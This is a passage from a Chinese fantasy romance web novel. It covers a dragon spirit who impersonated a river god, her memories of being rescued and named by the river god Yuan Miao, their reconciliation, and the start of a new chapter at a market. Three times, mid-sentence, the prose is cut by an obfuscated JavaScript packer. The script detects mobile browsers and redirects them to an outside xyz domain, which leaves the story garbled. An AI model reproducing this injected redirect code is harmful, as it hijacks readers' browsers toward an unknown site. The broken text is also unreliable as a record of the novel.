敦九刚刚一直在悠闲观战,这会儿走到假河神面前:“说说吧,你是谁,为什么要假冒河神胡作非为?” 她吐血力竭后就恢复了女子模样,此刻头发散乱,脸上带血,态度却丝毫没有软下来:“我还没问你们是谁呢。” 敦九语速不紧不慢:“我们是天界派往凡间解决困难的解忧仙官,因收到了何家村的求助,所以来降伏你这妖怪。” “原来如此。”她轻笑了一声,牵扯到伤势,又有鲜血从嘴边流出来。 她靠在破烂得不成样子的花轿上,满脸无所谓:“要杀要剐,悉听尊便。” “据我所知,只有河神能操控下雨。” 敦九话说得含糊,沧汧却心中一紧,这件事不能牵扯到他。 她勾唇笑得嘲弄:“你一直待在天上,地下出了什么厉害的妖怪,也不能够知晓。” 敦九笑得意味深长:“哦,是吗?那你还得多修炼几年。” 沧汧听出来他后半句在讽她不够厉害,一下子就成了他们的手下败将。 敦九继续道:“我们呢,也不是想要你的命,只是做错了事就要受到惩罚,但这处罚的力度,还得由真正的河神来定。” 沧汧心头烦躁得很,她没想到这事会闹成这样。 锦棠接着说:“是啊是啊,只要你愿意认真改错,弥补何家村,我相信村民们会原谅你的。” 泷宋装作老成的样子,点着头:“嗯,知错就改,善莫大马。” 裴轼纠正他:“是善莫大焉。” 泷宋的脸一秒爆红:“你知道就好了,说出来干吗!” 锦棠忍不住笑了出来,她还以为泷宋什么时候变得这么有学识了呢。 这时,一道身影驾云从远处飞过来,俯身行礼:“沅淼拜见各位。” 敦九眉头一扬,哟,说沅淼沅淼到啊。 来人穿着一身冰蓝色锦袍,长发用白玉簪绾在脑后,容颜如画,仪态端方。 他对着敦九,躬身低眉:“我这三日在养伤,出了疏忽,刚刚才得知被冒充了身份行下祸事,是沅淼失职。” 敦九听他这话便是想把责任揽到自己身上,看来这假河神,果真是那位。 假河神神情着急起来:“你受伤了?” 沅淼没有回答。 锦棠在两人之间来回看,他们认识啊? 沧汧又对敦九道:“一人做事一人当,有什么罪责我都受着,不关沅淼的事。” 她话音刚落下,沅淼开口想说些什么,可还没来得及说出来,就突然两眼一闭晕倒了。 沧汧双眸瞪大,下意识以极快的速度起身接住他,全然不顾自己的伤势,“沅淼!” 敦九轻叹一声,施法变出一张木床,“把沅淼抬上去,我来替他疗伤。” 沧汧迟疑地看着他,敦九又变出一张板凳,把衣服一撩就坐下了:“同为神仙,我又不会害他,虽然我这个人法术学得不精,但什么都会一点,把他救醒还是可以做到的。” 沧汧把沅淼轻轻放到了木床上。 “你们三个先到村长家说一声问题解决了,然后回客栈歇息吧,”敦九对着锦棠三个说完,看向沧汧:“你也先自己疗伤吧,沅淼醒过来还要一段时间。” 沧汧就地坐下,盘起腿,双手掌心向下贴着膝盖,闭上眼运转起体内的妖力。 她听到敦九说:“这伤少说也要养个十天半个月的,没痊愈就乱动,伤势加重了呀,唉。” 是她不对。 浅红色的妖力萦绕周身,慢慢修复她的机体,沧汧思绪飘远,回到了很久很久以前。 8. 稻谷酒(六) 那时的它还是个没什么法力的小妖,需要仰仗其他大妖的鼻息才能生活,可它生来就不是个会谄媚讨好的,资源有限,有时候抢得头破血流了也才能勉强占一块修炼的地盘、吃一口新鲜的鱼虾。 日子还算过得去,只要没被打死,没被饿死,总归算不了什么大事。 可有一天,它去陌生水域找食物的时候,不小心惹到了一个有来头的家伙,他不由分说地叫了一群手下给它打了个半死,在它现出原形后把它扔在了河岸边。 “敢惹我,这就是下场!不知道有没有人把你这条臭鱼捡回去吃掉,哈哈哈哈哈!” 虽然它也不知道自己属于哪一种妖怪,但绝对不是鱼妖,只是没成长起来的样子很像一条鱼,那个妖就把它当成了鱼,恶狠狠地诅咒它被煮了吃掉,可惜点的话也是窒息死掉。 它记得那天的阳光很烈,被抛在干燥的泥土上,感觉身体里所有的水分都要被烤干了,那是它第一次体会到绝望,从前不管怎样艰难,日子都过来了。 眼睛早已经无力地闭上,感受到有人把它捡起来,却连张嘴咬他手指的力气都没有。 算了,这次它认命了,它就是个没背景没天分的小小小妖,这样的死法一点也不奇怪。 无所谓了,估计还没等到被开膛破肚它就已经死了,死了,就什么都忘了,一了百了,烦恼不扰。 人吃下它会怎样?不知道。要是能强健体魄、延年益寿什么的还真算便宜他了;但要是被毒死了也是活该,它黄泉路上也有个伴,不孤单。 嗯,它其实挺孤单的,生下来就无父无母,也没有朋友,但这样也好,至少死了也不会有别的妖为它伤心。 它残存的听力听到那人惊喜的声音:“还活着!” 啧,它还是早点死了吧,不能便宜了这小子让他吃到新鲜的肉。 它彻底失去了意识。 再次恢复意识时,它发现自己被水包裹着,吸入的氧气又让它燃起了一些求生欲望。 它吃力地把头从水缸里探出来,转着眼珠观察周围,这是那个想吃掉它的人类的家吧,和水底的世界好不一样…… 它去过最远的地方就是城北的沼泽,它还没有好好看过人间。 它现在突然不想死了。 看着少年伸过来的手,它用力地张大嘴,运气好的话可以将他咬伤逃走,运气差的话也要争一争鱼死网破,不能让他太痛快了。 他指尖碰上它头顶十分不明显的角,俯下身子靠近:“你醒了。” 看着少年瞳孔中倒影出的自己,它愣住了,一口尖牙都忘了收回。 少年看着它张嘴的样子,以为它是饿了,“你吃鱼么?我今天早上刚捕的。” 它不明白这是什么情况,他不打算吃它么?还是要把它养肥了再杀掉? 似乎看出它眼中的疑惑,少年微笑着解释:“我看过记载妖怪的书,认出你是条淑龙,见你可怜,就把你带回来了。” “淑……龙?”一开口,它便感觉喉间腥甜,不过已经从鬼门关走了一遭,这点难受完全可以忍受。 这回轮到少年惊讶了:“你不知道自己的身世?” 它很想摇头,但没力气:“嗯,我无父无母。” “那还真巧,我也没有爹娘,被一个好心的奶奶收养长大,上个月她也去世了。”他平静地说出来,可眼底还是流露出了悲伤。 虽然说话很费劲,但它还是安慰他:“没关系的,一个人也要好好生活。” 也是在鼓励自己,要好好活下去。 少年笑了一下,“水里泡了回春藤,书上说虽然药效不显著,但对绝大部分妖疗伤都管用,我也只找得到这种最普通的药草,你有没有感觉好一点?” 它这才后知后觉地发现水中有股淡淡的草药清香。 “谢谢你。”它真诚道,虽然全身还在痛,但比起濒死的状态,已经好了太多了。 “没关系的,你先休息吧,养好伤就可以回去了,”少年语气温柔:“你要不要吃点东西补充营养?鱼干还是活鱼?” “都可以,我不挑食。” 半分钟后,它嘴里咬着鱼干,看着水缸里游着的草鱼陷入了沉思。 这条鱼好像完全没意识到它们之间是吃与被吃的关系,完全不怕它。 ……这么傻的鱼,还是吃掉了好。 它才没有闲工夫去可怜这条鱼,弱肉强食,就这么简单,不吃食物怎么活下去,更别说现在是有好心人救它给它提供食物,更不能浪费了。 它最多下手利索些,让鱼死去的时候没那么痛苦。 它狼吞虎咽地吃完草鱼,舔了舔嘴唇,有点意犹未尽,但还是压制住了自己的欲望——它其实饿了好几天了,这会儿已经饱餐一顿,不能要求太多,因为它估计还要在这儿待好几天,不能欠人家太多了,不然这份恩情它还不起。 自从“死而复生”后,它就暗暗在心底发誓伤好了后要刻苦修炼,然后报该报的仇,还该还的恩。 想着,它便趴在水缸边上,看一看救命恩人在做什么。 少年身姿挺拔如松,端坐在椅子上,手持书卷,修长的手指轻轻抚过泛黄的书页,神情认真而专注。 阳光透过窗棂,洒下细碎的光影,柔和的线条勾勒出他如玉般温润的侧颜,像一幅画。 它那时还不懂得欣赏,看了没多久就觉得没意思,泡回水里放松身体,很快睡了过去。 它是被一道女子的尖叫声吵醒的。 它睡眠很浅,因为求生不易,时刻要提防别人,一丁点异样的响动就会刺激它醒来,更别说现在这音量简直响彻云霄,想不醒来都难。 身上的疼痛感又减轻了些,它努力伸长脖子,好奇地向院子里张望。 也许是因为今天阳光不错,少年把门大敞着,照得它身上暖融融的,也能清楚地看到院子里发生了什么。 只见一位少女花容失色,瞪大了水汪汪的眼睛,双手捂着嘴,纤细的脖颈往后仰,活像一只受惊的小兔子。 她的绣花鞋边掉着一只食盒,最上一层的盖子滑落了一半,露出一角白色的瓷盘和几块绿色的糕点。 而她对面,温雅的少年此刻两袖撸起,露出紧实的肌肉。 它救命恩人欺负别人了? 再往下看,地上有一把沾血的菜刀,还有一只被割断脖子的鸡。 哦,杀鸡啊。 少女似乎终于缓过了神,但语气依旧震惊:“沅淼哥哥,你、你……” 它唇齿间琢磨着这两个字的发音,这是他的名字吧?它突然很想知道这两个字是怎么写的。 它恩人微笑道:“婉仪,我在杀鸡。” 少女满脸不可置信地看着少年,再看看流了一碗血的鸡,拧着眉头转身跑走了,还带了哭腔。 他对着她的背影喊了声:“哎,你的食盒!” 少女应当是听到了,可她头也没回,很快消失在它的视野里。 少年耸耸肩,拿布擦了擦手,盖好盖子把食盒提到桌子上,接着用一盆冷水把杀好的鸡洗干净,提着鸡脚把鸡放进烧开的热水里烫好后开始拔毛,然后是切鸡肉,再放佐料下锅。 他往锅里添满水,盖上厚重的锅盖,把锅稳稳架在灶台上,让柴火充分加热。 整个过程如行云流水一般,没有半分多余的动作。 它看得入迷,人类吃东西这么讲究啊,有这么多步骤,还要把鸡的毛给拔掉,那他们吃鱼是不是要把鳞片刮掉? 少年暂时得了空,打开食盒的盖子,两指捏着一块糕点递给它,“绿豆糕,吃不吃?” “吃。”它用爪子接过来,整块放到口里,甜甜的,但有点糊嘴。 沅淼也吃了一块,打开第二层,又问它:“豆沙糕,要不要?” “要。”比刚才的绿豆糕还要甜,也不糊嘴。 他把桌子拉到水缸旁边,“你要是喜欢可以慢慢吃,我过几天再把食盒送回去。” 它嚼着糕点,眼睛里装着大大的疑惑:“她是你妹妹,又给你送吃的,你们应该关系很好,可她为什么跑掉了?” 沅淼笑笑:“我们并没有血缘关系,她叫我哥哥是因为喜欢我,但她只喜欢读书写字的我,不喜欢杀鸡耕地的我。” 它更茫然了,读书写字的沅淼和杀鸡耕地的沅淼都是同一个沅淼啊,这是什么意思?他们人类好复杂呀。 “那你喜欢她吗?” 少年摇摇头,“她每次来都带着吃的,我受不起这份好意,但推脱不过,只好让她主动死心。” 它恍然大悟:“噢!所以你知道她今天会来,是故意让她看到你杀鸡的!” 沅淼点点头:“你这小妖,还挺聪明的。” “嘿嘿,”它被夸得有点不好意思,“我也挺喜欢你的,你救了我,帮我疗伤,还给我吃的。” 沅淼被它真诚的口吻逗笑:“喜欢可不是这么用的。” 它又不解了:“那要怎么用?” 沅淼本以为对这么个还没分化性别的小淑龙说直白些也无妨,可还是被它清澈的眼神看得脸上发热,搪塞道:“你长大就知道了。” 看他的样子是不想给它解释了,无奈地叹了口气:“好吧。” 它怕惹他不高兴会被赶走,妖在屋檐下,不得不低头。 刚过一小会,它又眨巴眨巴眼睛,“我能不能再问一个问题?” “……”沅淼沉默了会儿:“问。” “你的名字怎么写?” 少年挑了下眉,有些意外,不过也不好拒绝它这个极小的要求,便用食指在水缸里沾了水,在褐色的桌案上一笔一划地写。 水痕勾勒出他的姓名。 沅淼。 它看得认真,想把这两个字记下来,可是笔画太多,对不识字的它来说实在太难了。 沅淼忽然想起来自己还不知道小淑龙叫什么,“我的名字你知道了,你还没告诉我你的名字呢。” 它看着水面,躲避少年的视线,“我……没有名字。” 沅淼微讶一瞬,想起它的身世,对这无父无母的小妖更多了几分同情。 他犹豫了下:“那我给你取个名字可好?” 闻言,它惊喜地抬头,眼睛亮亮的:“可以吗?” 沅淼思考片刻:“我在汧河边上捡到你,水呈暗绿色,沧可为姓,那你便叫沧汧吧。” 桌上“沅淼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16242840|181941||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”的水痕几近消失,他重新沾水写下小淑龙的新名字,“沅”和“沧”左侧的三点水重合在一起。 它看得比刚才还要认真,可惜还是没能记下字形,没关系,它还有很多时间,可以慢慢来。 它十分欣喜:“沧汧,从此以后我就叫沧汧了,我喜欢这个名字!沅淼,谢谢你!” “不用谢。”沅淼笑着摸摸它的头,“你大半天没吃东西了,应该饿了吧,我去准备晚饭,马上就可以吃了。” 他说完就又去厨房忙碌起来。 诶?它睡了这么久吗,已经快要晚上了。不过被沅淼这么一说,它确实想吃东西了,期待着晚餐会有多少鱼虾。 不用争也不用抢就有肉吃的日子真好啊。沧汧感叹着,更坚定了要当妖上妖并且回报沅淼的决心。 等到沅淼捧着一只盛着鸡肉鸡汤的碗坐过来时,它完完全全懵了:“给我吃的?” 汤汁呈奶白色,鲜嫩的鸡肉搭配翠绿的葱花,沧汧不自觉咽了下口水,饥饿感瞬间被放大了好几倍。 沅淼用勺子舀起一块鸡肉,吹了吹再递到它嘴边,“我厨艺还不错,应该不难吃。” 沧汧迷迷糊糊地咬下鸡肉,全部味蕾神经都尖叫了起来。 “太好吃了!” “那就多吃点。”沅淼唇边带笑,不厌其烦地一遍遍吹气,将温度刚好的食物喂给它,像对待小孩子一样。 沧汧简直幸福得要晕过去了,它现在无以为报,只好吃了整整三大碗配着满满肉和菜的饭聊表诚意。 等它吃饱,沅淼才慢条斯理地开始吃饭。 沧汧摸了摸自己圆滚滚的肚子,尴尬地笑笑:“不好意思啊。” 沅淼温柔道:“无妨。” …… 清晨,沧汧伸了个懒腰,“嘶,好疼好疼。” 双手撞到水缸上,它皱起眉,马上又高兴起来,也许是因为鸡汤滋补,它竟能重新化人形了。 “沅淼,你起床了吗?”沧汧从缸里爬出来,抖了抖身上的水。 没有得到回应,沧汧又走进沅淼房间,床上也没人。 他出去了吗,会不会遇到危险?沧汧有些担心,虽然它的伤还没养好,但若是恩人出了什么意外,它会难过死的。 沧汧决定出去找沅淼,救命之恩,无以为报,赴汤蹈火,在所不惜! 踮起脚把门关好,沧汧刚走出十几步路,就和一只大黄狗对视上了。 “啊啊啊啊啊!” 沧汧被吓出了尖叫,之前它化人形的时候被一只狗追过咬了一口,从那之后就留下了心理阴影。 沧汧拔腿就跑,谁能想到这里有只拦路狗啊!恩人先一边去,保命要紧啊啊啊! 可惜它身体还没恢复,个头又小,两条腿跑不过四条腿,很快就被追上。 沧汧绝望地倒退,试图做最后的挣扎:“你、你别过来啊!” 完了完了,旧伤没好又要添新伤,不带这么倒霉的吧! 大黄狗朝它飞扑过来,把它扑倒在地上,沧汧瞳孔放大,旋即紧紧闭上眼,下一秒,传来的不是牙齿的尖锐和疼痛感,而是毛发的柔软和湿漉漉的触感。 沧汧缓缓睁开眼睛,大黄狗的眼睛亮亮的,飞快地摇着尾巴,又用舌头舔了一下它的脸颊。 沧汧总算明白过来这只狗对它没有恶意,但它内心还是有点抵触,刚准备站起来离开这里,却听到一道熟悉的声音:“阿黄,别吓着人家。” 抬头看去,沅淼面带笑容,手上提着一只装满蔬菜的篮子。 大黄狗十分有灵性,马上就乖乖地从它身上下来了。 沅淼蹲下身子,伸手拉它起来:“小童,你没事吧?” 诶?沅淼这是没认出它。 沧汧眼珠微转,一个坏主意冒了出来。 它把手臂上还没愈合的伤口举给沅淼看,可怜兮兮地看着他:“大哥哥,我被抓伤了。” 沅淼皱起了眉:“阿黄性子温驯,虽调皮了些,但应当不会伤人。” 但这伤口明晃晃摆在他面前,他也只好认为是阿黄不小心,重重拍了一下它的脑袋,“抱歉,我带你回家包扎一下伤口吧。” 大黄狗发出委屈的嗷呜声。 沧汧低头露出得逞的笑,声音却装作委屈巴巴的样子:“好。” 到家后,沅淼第一眼就发现水缸里没有了沧汧的身影,担心起来,拿草药的动作都快了很多,想着给这个小童处理好伤口就去找它。 少年将草药碾碎了敷在它伤口上,沧汧估摸着到了坦白的时候:“沅淼,你不认识我了吗?” 沅淼一愣,方才没注意这小童的声音,此时一听再熟悉不过,况且他对这小童的样貌并无印象,如此便只能是…… “沧汧!” 小淑龙被吓了一跳,沅淼之前表现得太温和了,它以为他不会生气的。 沅淼怒容满面:“以后不能开这样的玩笑,我会很担心。” 沧汧怔了神,原来他生气不是因为被骗,而是担心它。 “把手掌摊开。”沅淼语气严肃,把书卷起来打它手心,只一边一下,力道也不大。 小淑龙低头道歉:“我下次不会了。” 9. 稻谷酒(七) 沧汧长长呼出一口气,停止了回忆,睁开眼睛看向躺在木床上的沅淼,他还没有醒来。 她把胸口佩戴的灵珠放在手心,内里碧波流转,装着沅淼的一成灵力,她受伤沅淼便能感知到,甚至能远程用灵力帮她。 她修炼多年,方才过招是故意让着那几个小孩的,所以很快败下阵来,受的伤也不重,这会儿伤势已经减轻了很多。 她喜欢沅淼,从很久之前就喜欢。 前些天她和沅淼一起处理完各方水域作乱的妖怪后,她偷偷从他身边跑走,借河神身份来到何家村扬言要找人成亲,想看看他的反应。 可沅淼一直都没有出现,还来了一群神仙,她故意受伤为的就是引沅淼现身,可她现在目的达成却一点也不开心,原来他不是故意不来的,不是不在乎她,而是受了很重的伤,听敦九说他是不小心被大妖偷袭了,还冒着这么大的危险来何家村…… 要是她当时没有跑开,就可以帮沅淼一起对抗大妖,他就不会受这么重的伤;要是她没有来何家村,沅淼的伤势也不会加重…… 沧汧眼角滑落泪水,她还是没有信守儿时的承诺不乱开玩笑,而且这次犯的错误太大,后果太严重,比起自己受罚,她更不想看到沅淼受伤。 从什么时候喜欢上沅淼的?她也不知道。只记得沅淼是第一个对它这么好的人,照顾它,包容它,它便在养好伤后厚着脸皮留了下来,把他当成唯一的朋友。后来时光荏苒,年岁渐长,它没有再见过沅淼杀鸡那日来送食盒的姑娘,慢慢明白了他们之间的事,也会对其他亲近沅淼的女孩吃味。再到它成年那日分化为雌性,她彻底喜欢上了他,这一喜欢,就是好多年,沅淼从少年长成青年,由凡人变为河神。 [喜欢是什么意思?] 儿时问出的问题有了答案,喜欢是亲近,是在乎,是情绪被牵动。 它的名字是沅淼取的,他也成为她生命中不可割舍的一部分。 过了很长时间,久到天空露出鱼肚白,敦九才停下施法,一屁股坐在地上,靠在他召唤出的三个酒坛子上,一副累瘫的样子。 “你看着些沅淼,别让他再用灵力了。”敦九对沧汧叮嘱完,眼睛一闭就打起了呼噜。 “沅淼?”沧汧站在木床边,有灵珠感应,她知道他已经醒了,却闭着眼不回应,是对她很生气。 沧汧指甲掐着手心,“什么惩罚我都接受,只要你肯原谅我。” 虽然她没想过真的淹了何家村,但对村子造成了伤害不假。 沅淼坐起身子,摊开手心,一对玉戒散发出莹润的光,“这是同心玉戒,佩戴双方即使相隔万里,也可感知对方情况。” 他戴上其中一只,补充道:“一旦戴上就摘不下来了,你考虑清楚。” 话音落下,沧汧没有丝毫犹豫戴上另一只玉戒,一股通透的力量传遍全身,她没有多想,只当是吸收了宝玉蕴含的天地灵气。 沧汧神情认真,举起右手发誓:“沅淼,我保证以后不会出现类似的事情,不然就妖力尽失,身死魂灭。” 沅淼没有阻止,因为他知道沧汧的决心,往后也会约束她,不会让违誓的后果发生。 沧汧神情犹豫,最终鼓起勇气开口道:“沅淼,你知晓我的心意,今天就给个准话,好让我死了这条心。” 她都把心捧到沅淼面前了,但他一直不给她明确的回应,时间再长下去,她也是会心灰意冷的。 沧汧闭上眼,等来的却不是冰冷的话语。 沅淼起身,右手抚上她的脸庞,她不可置信地睁开眼,男子一双瑞凤眼饱含深情,语气一如初见时的温柔:“我从前是凡人,寿命短暂,不能与你长相厮守;后来我成了河神,也无法和你白头到老。” 他执起她的手,两枚玉戒相遇,一声清啼空灵婉转,一对凤凰比翼双飞。 “我寻了许久,终于找到一个能共享修为的办法,戴上这对同心玉戒,从今往后,你我凤凰于飞,共度千秋。” 沧汧早已泪流满面,沅淼竟然考虑了这么多,他对她的爱一点都不比她对他的少…… 沧汧紧紧环住沅淼的腰,把头埋在他的胸口,沅淼嘴角带着浅浅的笑,轻柔地摸着怀中女子的头。 “阿嚏!”突然,敦九的喷嚏声打破了这温情的画面。 “怎么这么冷啊,阿嚏!”他牙关打颤,身子发抖,看到依偎在一起的两人,尴尬地别开视线,他醒得好像不是时候啊。 沧汧向前一步,表情自然:“走吧。” 敦九忙点头:“诶,好,好。” 他偷偷瞥了一眼沅淼,耳朵都红了,哎哟,现在的年轻人呀…… 稍作休整,敦九让何成业把村民们都召集起来,向大家解释假河神一事。 沧汧认错态度诚恳,也并无害人之心,何成业宽宏心善,想让她把农田整治好就作罢,一些村民表示同意。 有些村民表情犹豫,何成业让他们有话直说,被 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16242841|181941||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 推出来的代表挠挠头,不好意思道:“稻子没了收成,我们想要点银子做赔偿。” 锦棠小声问敦九:“我们的银子够花吗?” 沅淼点点头,“这是自然,理当如此。” 敦九指了指沅淼,“不用,他付钱。” 河神主管凡间水域,积蓄不少。 何成业本以为事情解决了,突然被人挤得一踉跄。 王青芬左手指着沧汧的鼻子,右手把何继金往前推,“这怎么行!她答应要我儿子做她夫君的,神仙也耍赖吗!” 沧汧毫不客气:“我说要俊俏的男子,你也不看看你儿子长什么样?” “而且,我不是神仙,我是妖怪,”沧汧摆弄起她的长指甲,“听说人血可以养颜?” 王青芬脸色发白,拉着何继金逃走了。 最终,沧汧为了表示诚意,还承诺留下来帮何家村干半年农活以及抓鱼送给村民。 待人群散去,沅淼眼神缱绻:“半年后,我们成婚可好?” 沧汧笑靥如花:“好。” 敦九表示辣眼睛,他这个单身汉还在这里啊! 临别前,何成业留敦九一行人吃饭,全部村民都在。 何荟劝何成业别请王青芬母子,没拗过她爹,今儿又看见讨厌的何继金,都要没胃口了。 真烦呐! 不过好在李川生坐在她旁边,何继金不敢太死皮赖脸。 “阿荟,吃这个。”李川生夹了一筷子月牙肉放进她碗里。 鱼肉真好看啊,哦不,川生哥真好吃啊。 锦棠看着一大桌子菜食指大动,越吃眼睛越亮,凡间的菜也好好吃! 她还喝了两大碗稻谷酒,虽然酒很混浊,口感比起敦九酿的也差远了,但酒里融入了农家人的纯朴与热情,温暖肺腑,别有一番滋味。 回仙官府的路上,锦棠好奇地问:“为什么沧汧身为女子,却能变成男人的样子?” 敦九解释道:“淑龙一族,善易容更声,可幻百态。” 泷宋已经能自如地控制云朵了,这会儿坐在云上休息,“可她一点儿也不淑女啊。” 锦棠正噗哧笑着,听到他添上一句“跟锦棠一样”,顿时柳眉倒竖,“泷宋,你是不是又皮痒痒了!” 泷宋驾云躲避,“诶,别打我呀!君子动口不动手!” 锦棠杀气腾腾:“我可不是君子!” 裴轼看着他们打闹,不自觉勾起唇角。 10. 女儿红(一) 今日,裴轼和泷宋被派去帮一户人家移居了,敦九大方地给锦棠放了不定时的小假,他待在仙官府,有任务再召她回来。 锦棠顿时喜上眉梢,她可想去集市玩了,而且没有泷宋和裴轼跟着,她刚好可以把姐妹们要看的话本子买下来! “敦九伯伯,你最最最好啦!” 嘴甜的好处是,敦九给了她一大袋银子,她可以尽情选购了! 锦棠迈着愉悦的步伐,嘴里哼着欢快的小调,微微晃着头,在热闹的人群中四处张望。 不一会儿,她看到一家卖簪子的店铺,朱红色的木门敞开,迈进去,马上就被各式各样的簪子迷住了。 锦棠指着一支簪子问:“这个多少钱?” 粉贝雕琢的花瓣娇嫩舒展,灵动的蝴蝶扑闪翅膀,红宝石镶嵌的蝶眼光华璀璨,做工极为精巧。 掌柜比敦九还要胖上一些,头发油亮,眼睛笑成月牙,“小姑娘你可真有眼光,这漂亮的粉贝,可是出产自紫云岛,品质绝佳;还有这红宝石,这色泽,啧啧啧……小姐们都喜欢来我这买簪子呢,一分钱一分货,包你满意。” 锦棠耐着性子听掌柜讲完,见他伸出一根手指,“这个数。” “十两?好,我要了。”锦棠打开荷包,准备拿银子。 掌柜摇摇头和食指:“不不不,是一百两。” 锦棠顿时双眸放大:“这么贵!你怎么不去抢!” 掌柜依旧保持笑容:“哎,小姑娘,话可不是这么说的,看你面生,我让些价,只要八十两。” 锦棠十分犹豫,虽然天上奇珍宝石多得很,但这支簪子形制精巧,她一眼就看中了,只是如果买了簪子,她就没多少钱买其他东西了。 她咬咬牙:“五十两行不行?” 掌柜笑眯眯的:“若你诚心想要……” 见掌柜松口,锦棠舒展了眉头,却不料忽然有人放下一只钱袋子,“贾老板,一百两银子我要了。” 锦棠懵了,转头向上看,是位相貌出众的男子,穿着锦衣华服,散发着风流贵气。 掌柜动作十分自然地把原本要递给她的簪子递给他,乐呵呵地收下钱袋,“宁公子就是阔气,听闻您和顾家小姐喜事将近,先在此道声喜。” 锦棠目瞪口呆,什么情况,她的簪子就这样被抢走了? “多谢多谢。”那宁姓公子笑着回复,正要往外走,被锦棠一把拉住,他也是没想到会有这么一遭,差点跌倒。 锦棠对着贾老板怒声道:“你讲不讲信用?你明明答应要卖给我了!” 贾老板终于收起了笑容:“哎,我可没说卖给你啊,何况一手交钱一手交货,宁公子已经付钱了,这簪子就归他了。” “奸商!”锦棠狠狠骂道,又往旁边什么狗屁公子的鞋上重重踩了一脚,“还有你,夺人所爱的坏蛋!” 宁风逸正疑惑自己挣脱不开,猛然受到重击,不禁痛喝出声,面容扭曲。 锦棠这才算解气,哼了一声离开这里。 宁风逸疼得呲牙咧嘴,“哪家的姑娘这么剽悍……” 锦棠没了继续逛街的心情,买了几册话本子后气鼓鼓地回到仙官府。 敦九睡得正香,泷宋和裴轼也还没回来,锦棠无聊,右手支着下巴翻起了话本子,讲的是狐妖和书生的爱情故事,他们最终还是没有在一起,她觉得有点可惜,努努嘴,把话本子都藏好,可别被其他人发现了。 到了下午,泷宋和裴轼回来了,莲意提灯中央浮现出两张新的解忧纸,敦九看过,把任务分别派给了锦棠、泷宋和裴轼,让他们先着手去做,遇到困难再找他帮忙。 锦棠接过符纸,上面娟秀的字迹约了今晚在三生楼见面,却并未讲明是什么事。 锦棠很有自信地拍拍胸脯,“包在我身上!” 她预留了充足的时间,吃过晚饭就出发了,毕竟在大街上飞行太惹眼,还浪费法力,只能靠两条腿走路。 向街上一个姑娘问了路,锦棠道过谢,便拉着泷宋马不停蹄赶过去。 看着两人快速变小的身影,姑娘顿了一下,诶,她问的是三笙楼还是三生楼?应该……不会出事情吧? “可算到了……”锦棠双手叉腰,累得气喘吁吁,走到楼内,一股脂粉香气扑面而来,不算好闻,但也不刺鼻。 抬眼望去,朱红的柱子上雕刻着繁复精美的花纹,与四周轻纱帷幔相互映衬。清秀的男子穿着素雅,怀抱琵琶,檀口轻启,乐声婉转;亦有佳人一袭红衣舞袖翩翩,眼波流转,身姿曼妙。 桌案上摆着琳琅满目的菜品,酒液在杯中泛着诱人的光泽,客人们有的举杯畅饮,大声谈笑;也有的醉眼朦胧,面色酡红,拉着身旁小郎君的手,举止暧昧。 还不等锦棠反应,一位浓妆艳抹的中年女子迎了过来,脸上堆着讨好的笑,用捏着帕子的手拉起她的手,殷勤道:“姑娘看着面生,是第一次来吧,我找最俊的公子给你。” 锦棠意识到自己来错了地方,想把手抽出来,反被抓得更紧了,“姑娘别担心,我们这什么样的小郎君都有,包让您满意。” 锦棠窘迫极了,白皙的脸颊上绯红一片,她连忙摆手,“不是!我不是来……” 泷宋低头拉锦棠的袖子,“我们得快点走……” 老鸨刚刚的注意力都在锦棠出挑的容貌上,这时才发现有个男童跟在后面,心里有了猜想:“哦,你是来卖他的?他看上去太小了,不过面容清俊,也不是不可以,到时候长开了……” 锦棠趁她放松,赶紧拉着泷宋跑了出去。 身后传来老鸨挽留的声音:“哎,别走啊,价钱好商量!” 锦棠回头看了一眼匾额,原来这是三“笙”楼而不是三“生”楼,定是那姑娘指错路了! “锦棠,都怪你没看清楚!” “你不也没看清楚吗!而且时间紧急,我是按着那姑娘指的方向走的,怎么……怎么能怪我!” “不怪你怪谁,我差点就要帮别人端茶送酒了!” 锦棠有点心虚,幸亏泷宋年纪小,不知道老 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16242842|181941||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 板娘是要他去做小倌,还以为是给人家当苦力。 “我这不是没把你卖掉嘛……哈哈。” 泷宋装作委屈巴巴的样子开玩笑:“说不定哪天你真的把我卖了。” 锦棠瞬间转变了态度,拿出姐姐的威势:“闭嘴!再废话我就把你原路送回三笙楼!” 泷宋马上安静了。 锦棠用最快的速度赶到三生楼,还是比约定的时间迟了一刻。 雅间内,身着月白色长衫的公子面如冠玉,眉眼柔和,风度翩翩,显得锦棠和泷宋略微狼狈。 只是他戴着一顶高高的帽子,看起来有些违和。 锦棠歉意地笑笑:“抱歉,让你久等了,路上出了点小意外。” 